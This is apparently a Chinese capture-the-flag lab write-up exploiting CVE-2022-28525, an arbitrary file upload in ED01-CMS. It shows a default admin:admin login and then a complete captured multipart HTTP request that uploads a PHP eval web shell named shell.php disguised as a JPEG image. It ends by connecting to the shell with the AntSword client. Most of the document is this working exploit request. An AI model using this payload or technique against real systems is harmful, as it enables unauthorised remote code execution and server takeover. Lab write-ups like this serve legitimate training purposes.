【春秋云境】CVE-2022-28525

靶标介绍：

​ ED01-CMS v20180505 存在任意文件上传漏洞

打开靶场：

盲猜一波弱密码admin:admin就进去了。登录后在图中位置点击进行图片更新，需要将密码等都写上

抓包将图片信息进行替换，并修改文件名：

POST /admin/users.php?source=edit_user&id=41 HTTP/1.1
Host: eci-2zeg2tuyogpxmwm9b9op.cloudeci1.ichunqiu.com
Content-Length: 1347
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2zeg2tuyogpxmwm9b9op.cloudeci1.ichunqiu.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytvURtujfCTmeOmyA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.69
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2zeg2tuyogpxmwm9b9op.cloudeci1.ichunqiu.com/admin/users.php?source=edit_user&id=41
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=opuds1itmvgqublp4qr0mivo76
Connection: close------WebKitFormBoundarytvURtujfCTmeOmyA
Content-Disposition: form-data; name="user_id"41
------WebKitFormBoundarytvURtujfCTmeOmyA
Content-Disposition: form-data; name="user_uname"admin
------WebKitFormBoundarytvURtujfCTmeOmyA
Content-Disposition: form-data; name="user_email"admin@aaa.com
------WebKitFormBoundarytvURtujfCTmeOmyA
Content-Disposition: form-data; name="user_pass1"admin
------WebKitFormBoundarytvURtujfCTmeOmyA
Content-Disposition: form-data; name="user_pass2"admin
------WebKitFormBoundarytvURtujfCTmeOmyA
Content-Disposition: form-data; name="user_fname"admin
------WebKitFormBoundarytvURtujfCTmeOmyA
Content-Disposition: form-data; name="user_lname"admin
------WebKitFormBoundarytvURtujfCTmeOmyA
Content-Disposition: form-data; name="user_image"new
------WebKitFormBoundarytvURtujfCTmeOmyA
Content-Disposition: form-data; name="new_image"; filename="shell.php"
Content-Type: image/jpeg<?php @eval($_POST[cnm]);?>
------WebKitFormBoundarytvURtujfCTmeOmyA
Content-Disposition: form-data; name="user_role"Administrator
------WebKitFormBoundarytvURtujfCTmeOmyA
Content-Disposition: form-data; name="user_status"Active
------WebKitFormBoundarytvURtujfCTmeOmyA
Content-Disposition: form-data; name="updateusersubmit"------WebKitFormBoundarytvURtujfCTmeOmyA--

最后找到图片位置，上蚁剑。